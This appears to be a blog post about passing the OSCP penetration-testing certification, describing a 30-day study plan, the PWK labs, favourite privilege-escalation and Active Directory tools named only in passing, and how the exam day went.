At this point I had almost 2 years of real penetration testing experience spanning everything from your typical external penetration test to performing physical penetration tests. It was also at this point that I had confidently conducted numerous Internal/Active Directory penetration tests and felt roughly comfortable when compromising a typical enterprise network environment. Furthermore I had completed numerous modules on TryHackMe including the Jr. Penetration Tester Path and the Offensive Pentesting path as well as passed both the PNPT and Sec+. This being said

• I was comfortable in a terminal

• I had a good idea of the key things one would do when trying to compromise both a single machine and network

• I had a general idea of the flow and progression when completing a "Box"

• I had spent enough time struggling that I now understood how I needed to study in order to fully prepare for the exam

• I understood what information was important in a penetration testing report and how to explain an attack chain

With the stage set about where I was when I took my second attempt, lets talk about how I confidently passed after 30 days of focused preparation.

Preparation

So 30 days..how did we do it? Well background experience aside, it came down to 30 days of intensely focused studying. What do I mean by this? Well

• The very day I obtained access to the PWK-2023 course I scheduled my exam for 30 days away and that very night I was working on the first challenge lab

• My days (where allowed) and evenings were spent studying

• My weekend's were largely spent studying

When I started the course I set myself on a path and told myself it was going to be done. Simple as that. I remained disciplined and focused throughout the whole time. I was going to study for 30 days and we were going to pass and that was final.

From a high level I broke down the big scary evil "OSCP Exam" into the core pieces and compartmentalized my learning into specific skills I needed to work on. I was already largely confident in my AD skills so I focused on things like

• Initial access - Understanding what ports/services could be used for access and how to enumerate them

• Privilege escalation - what tools do I use once I actually get a shell

  • What are the main "collection" of priv-esc vectors I need to be familiar with and how do I exploit them

• Post-Exploitation - Once I had administrative privileges what things should I be looking for and what tools do I run at this point

Prior to obtaining the actual course material I had been casually working thru various platforms seen below:

• TryHackMe

  • Jr. Pentester Path

  • Offensive Pentesting Path

  • Wreath - DO THIS ROOM

  • Linux/Windows Priv-Esc Arenas

• Proving Grounds

  • I focused on the TJ Null List found here

• TCM Security

  • PEH Course

  • External Pen-Test Playbook

  • Linux/Windows Priv Esc Courses

If there is one module you do from this list it should be the Wreath room on TryHackMe. Wreath is a fantastic room that will teach you the basics of network pivoting with various tools - a key technique you must be familiar with for the OSCP exam.

I also want to note that you don't need to have done all of these modules/courses in order to be prepped for the exam. These were just resources I worked on in-between my 1st and 2nd OSCP attempt.

The Course

The new and improved OSCP/PWK-2023 course brought a good mix up upgrades to the course material and the labs provided to students. You can read more about specific changes made here.

Given my background and previous knowledge of the PDF/exercises I was able to gloss over most of the content in the PDF except for a few key chapters. I will say the content in the privilege escalation chapters was great and really beneficial when working on the labs and on the exam.

Overall, I think the changes made to the course and content were beneficial and if you are lacking in a certain skill in your exam prep the course PDF serves as a great root of learning.

The Labs

If there's one thing you read in this article...it's DO THE LABS.

I strongly believe the labs are now the BEST resource you can use in your preparation. With the addition of 3 practice exams you now have the ability to take a real practice exam that mimics not only the difficulty of the actual exam but the format of the exam as well (3 standalones + 1 AD set).

The new and improved "challenge labs" were fantastic practice and really made up the bulk of my prep. The addition of an isolated lab environment which allowed the student to freely practice without the worry of suddenly losing connection because another student decided to revert a machine was a long overdue and welcome upgrade.

I felt that the labs were straightforward but reasonably challenging. The labs allow you to get plenty of repetitions and practice with important skills you need to know in order to pass but doesn't force you to endure an endless cycle of banging your head on a keyboard.

Key skills you'll run thru in the labs are:

• Typical port scanning and enumeration

• Practice with obtaining initial access and stabilizing your initial shells

• Enumerating privilege escalation vectors and exploiting them

• The concept of post-exploitation looting. Getting admin is great but what do you do once you are an admin?

• File transferring - you should be completely familiar with general file transferring by the end of the labs

• Pivoting Pivoting Pivoting

Of particular importance for success on the exam is the concept of pivoting and being able to leverage a compromised machine to obtain access to a new network of machines via your access as an attacker. If you are already familiar with pivoting via the classic proxychains + chisel method, I highly suggest you give Ligolo-NG a shot. You can read more about using Ligolo-NG here.

Luckily for you I've also created a simple video demonstration on how to use Ligolo-NG specifically for the folks who might want to use it in the PWK labs. You can watch it here:

Another Important thing to note is that I placed a considerable amount of effort on my note-taking and organization. While I am a normal Obsidian user, I found that cherry-tree was just better as a "live" note taking platform as I worked thru the labs. Below is a snippet of how I setup my cherry-tree notes during the labs.

Overall, if you are a student taking the course now I would recommend you primarily focus on completing the labs and getting in those reps. Repetitions will build muscle memory and strengthen your methodology.

Throughout my time in the labs I had to use various tools for Privilege Escalation. One tip I'll emphasize is build a folder dedicated to storing all of the priv-esc tools you use and encounter in your prep. Below is the contents of both my Linux and Windows priv-esc tool folders. All of the tools below I used at one point or another in my preparation.

A couple I will highlight as my favorite are:

• Linpeas & Winpeas

• ADPeas - Useful for AD enumeration

• PrivescCheck.ps1 - My go-to once I obtained initial access on a Windows target

Active Directory

Active Directory (AD) is a huge sphere of knowledge and there are just are so many attacks, tools and techniques to talk about that I couldn't possibly give them a proper overview here. I know a lot of folks are interested in the AD set so I'll briefly touch on AD skills necessary for success.

In AD, full compromise of a domain rests almost solely on one thing - initial access.

Initial access in the context of an AD pentest or and AD lab environment simply means that you have the credentials for a domain-joined user/computer account. In order to properly enumerate an AD domain and stage further attacks (kerberoasting) you need to have valid domain crededntials to do so.

Examples of valid domain creds can be having a user's username and clear-text password, or even having a user's username and their NT password hash for use in pass-the-hash attacks.

Some tools and techniques I recommend you learn and focus on practicing in the labs are

• CrackMapExec - Your go-to all-in-one AD tool. Great for passing-the-hash.

• Impacket - Impacket is not one tool but rather a collection of fantastic tools.

  • Impacket-secretsdump

  • Impacket-smb/ps/wmiexec

  • Impacket-mssql

  • Impacket-smbclient

  • Impacket-GetUsersSPNs

  • And many more

• LDAP/SMB Enumeration

  • LDAPDomainDump & CME are great tools for this

• Kerberos Attacks

  • Kerberoasting & ASREP Roasting

This isn't an exhaustive list of tools/techniques but you should definitely be familiar with the tools and attacks above.

Exam Day

The morning of my exam day arrived and I took a seat at my desk 30 minutes before my scheduled start time at 9AM. I hooked up to the proctoring software, turned on my camera and waved at the proctor with a smile. I was confident and ready to go.

With VPN access into the lab environment I kicked off AutoRecon scans on the 3 standalone boxes in the background and began on attacking the Active Directory set.

The AD set was conquered in 3 hours. Onto the standalones I went. After reviewing the output of my AutoRecon scans I went after a juicy target and in an hour flat rooted my first standalone.

I targeted the next standalone and obtained my first shell pretty quickly - I now had my 70 points. Even with 70 points I continued on. After a few hours and couple of unsuccessful priv-esc attempts I took about an hour dinner break.

After my 60 minute break I was refreshed and jumped right back into it. Shortly after I had rooted the 2nd standalone - 80 points! At this point I was feeling good - everything, all the exploits, shells and attacks had worked as intended! Everything worked just like it was documented in my notes!

For the next few hours I attempted to get initial access on the final standalone to no avail. Eventually I made the decision to review my documentation and begin on writing my report. I submitted my 80 point report shortly after midnight feeling relieved that the exam had finally been conquered.

Closing Thoughts

In conclusion, with proper discipline and time anyone can pass this exam. Everyone's path will be different and that's alright. All that matters is you focus on running your own race.

While I was able to spend 30 days in the labs and comfortably pass it's important to note that my journey to get to this level took roughly 1.5 years in total. It took many many long nights and quiet weekends to get to this point but with proper practice anyone can really do this - especially if I can.

If you've made it to the end of this article I hope you were able to get something out of reading my experience. Best of luck and feel free to reach out should you have any questions!